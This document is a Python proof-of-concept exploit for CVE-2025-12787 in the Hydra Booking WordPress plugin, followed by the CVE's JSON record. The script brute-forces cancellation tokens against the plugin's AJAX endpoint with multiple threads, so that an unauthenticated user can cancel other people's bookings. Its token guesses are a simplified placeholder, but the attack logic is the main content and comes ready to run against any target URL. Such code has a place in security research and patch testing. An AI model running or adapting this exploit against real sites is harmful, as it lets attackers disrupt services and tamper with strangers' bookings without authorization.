CVE-2025-12787

#!/usr/bin/env python3 """ CVE-2025-12787 PoC - Hydra Booking Plugin Unauthorized Booking Cancellation Note: This is for educational and security testing purposes only. """ import requests import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def cancel_booking(target_url, booking_id, cancel_token, wp_nonce): """ Attempt to cancel a booking via the vulnerable AJAX endpoint """ endpoint = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'tfhb_meeting_form_cencel', 'booking_id': booking_id, 'cancel_token': cancel_token, 'nonce': wp_nonce } try: response = requests.post(endpoint, data=data, timeout=10) return { 'status_code': response.status_code, 'response': response.text, 'success': 'success' in response.text.lower() or 'cancelled' in response.text.lower() } except requests.RequestException as e: return {'error': str(e)} def generate_weak_tokens(base_token, count=1000): """ Generate potentially weak tokens based on predictable patterns In real attack, attacker would analyze token generation algorithm """ tokens = [] for i in range(count): # Example weak pattern: base + increment (simplified) tokens.append(f"{base_token}_{i}") return tokens def brute_force_attack(target_url, booking_id, wp_nonce): """ Perform brute force attack to find valid cancellation token """ print(f"[*] Starting brute force attack on booking ID: {booking_id}") print(f"[*] Target: {target_url}") # In real attack, attacker would first analyze the token generation # This is a simplified demonstration base_token = "token_" # Placeholder - real attack needs pattern analysis tokens = generate_weak_tokens(base_token, count=100) with ThreadPoolExecutor(max_workers=10) as executor: futures = { executor.submit(cancel_booking, target_url, booking_id, token, wp_nonce): token for token in tokens } for future in as_completed(futures): result = future.result() if result.get('success'): print(f"[!] Booking cancellation successful!") print(f"[!] Valid token found: {futures[future]}") return True print("[*] Attack completed, no valid token found in tested range") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-12787 PoC') parser.add_argument('--url', required=True, help='Target WordPress site URL') parser.add_argument('--booking-id', required=True, help='Target booking ID') parser.add_argument('--nonce', default='weak_nonce', help='WordPress nonce') args = parser.parse_args() brute_force_attack(args.url, args.booking_id, args.nonce)

{"cve": {"id": "CVE-2025-12787", "sourceIdentifier": "[email protected]", "published": "2025-11-11T11:15:34.673", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Hydra Booking — Appointment Scheduling & Booking Calendar plugin for WordPress is vulnerable to unauthorized booking cancellation in all versions up to, and including, 1.1.27. This is due to the plugin's \"tfhb_meeting_form_submit_callback\" function using insufficiently random values to generate booking cancellation tokens, combined with a globally shared nonce. This makes it possible for unauthenticated attackers to cancel arbitrary bookings via brute force attacks against the tfhb_meeting_form_cencel AJAX endpoint."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-330"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3392864/hydra-booking/tags/1.1.28/app/Shortcode/HydraBookingShortcode.php?old=3392467&old_path=hydra-booking%2Ftags%2F1.1.27%2Fapp%2FShortcode%2FHydraBookingShortcode.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/490dd84f-7c03-43c7-b4e1-167fa2b15c03?source=cve", "source": "[email protected]"}]}}